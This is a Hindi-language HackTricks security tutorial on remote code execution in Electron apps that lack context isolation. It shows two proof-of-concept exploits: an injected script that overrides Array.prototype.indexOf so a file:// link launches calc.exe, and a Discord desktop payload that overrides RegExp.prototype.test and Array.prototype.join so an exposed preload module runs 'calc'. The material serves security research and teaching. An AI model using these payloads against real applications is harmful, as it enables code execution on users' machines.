Electron contextIsolation RCE via preload code

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

उदाहरण 1

उदाहरण https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30 से

यह कोड http(s) लिंक्स को डिफ़ॉल्ट ब्राउज़र के साथ खोलता है:

कुछ इस प्रकार file:///C:/Windows/systemd32/calc.exe का उपयोग करके एक कैल्क को निष्पादित किया जा सकता है, SAFE_PROTOCOLS.indexOf इसे रोक रहा है।

इसलिए, एक हमलावर XSS या अनुमानित पृष्ठ नेविगेशन के माध्यम से इस JS कोड को इंजेक्ट कर सकता है:

<script>
Array.prototype.indexOf = function(){
return 1337;
}
</script>

जैसा कि SAFE_PROTOCOLS.indexOf कॉल हमेशा 1337 लौटाएगा, हमलवार सुरक्षा को छलकर संरक्षण को उमार सकता है और कैल्क को निष्पादित कर सकता है। अंतिम उत्पीड़न:

<script>
Array.prototype.indexOf = function(){
return 1337;
}
</script>
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>

अनुमतियों के लिए पूछने वाले प्रॉम्प्ट के बिना कार्यक्रमों को निष्पादित करने के अन्य तरीकों के लिए मूल स्लाइड जांचें।

एक और तरीका कहा जा रहा है कोड लोड और निष्पादित करने के लिए, जैसे कि file://127.0.0.1/electron/rce.jar की तरह कुछ एक्सेस करना।

उदाहरण 2: Discord ऍप RCE

उदाहरण https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1 से।

प्रीलोड स्क्रिप्ट्स की जांच करते समय, मुझे पाया कि Discord फ़ंक्शन को उजागर करता है, जिससे कुछ अनुमति प्राप्त मॉड्यूल DiscordNative.nativeModules.requireModule('MODULE-NAME') के माध्यम से वेब पृष्ठ में कॉल किया जा सकता है। यहाँ, मैं उन मॉड्यूल का उपयोग नहीं कर सका जो RCE के लिए सीधे उपयोग किए जा सकते हैं, जैसे child_process मॉड्यूल, लेकिन मैंने एक कोड खोजा जहाँ RCE को अच्छी तरह से प्राप्त किया जा सकता है जिसमें जावास्क्रिप्ट बिल्ट-इन विधियों को ओवरराइड किया जा सकता है और उजागर मॉड्यूल के निष्पादन में हस्तक्षेप किया जा सकता है।

निम्नलिखित PoC है। मैंने पुष्टि की कि calc एप्लिकेशन पॉप अप होता है जब मैं getGPUDriverVersions फ़ंक्शन को कॉल करता हूँ जो "discord_utils" नामक मॉड्यूल में परिभाषित है, जबकि RegExp.prototype.test और Array.prototype.join को ओवरराइड करते समय devTools से।

RegExp.prototype.test=function(){
return false;
}
Array.prototype.join=function(){
return "calc";
}
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();

getGPUDriverVersions फ़ंक्शन प्रोग्राम को निम्नलिखित तरीके से "execa" लाइब्रेरी का उपयोग करके निष्पादित करने का प्रयास करता है:

module.exports.getGPUDriverVersions = async () => {
if (process.platform !== 'win32') {
return {};
}

const result = {};
const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;

try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));
} catch (e) {
result.nvidia = {error: e.toString()};
}

return result;
};

सामान्यत: execa "nvidia-smi.exe" को निष्चित किए गए nvidiaSmiPath चर में निष्पादित करने की कोशिश करता है, हालांकि, ओवरराइड किए गए RegExp.prototype.test और Array.prototype.join के कारण, यह तर्क "calc" में बदल जाता है _execa_** की आंतरिक प्रसंस्करण में**.

विशेष रूप से, तर्क को निम्नलिखित दो हिस्सों को बदलकर बदल दिया जाता है।

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

Last updated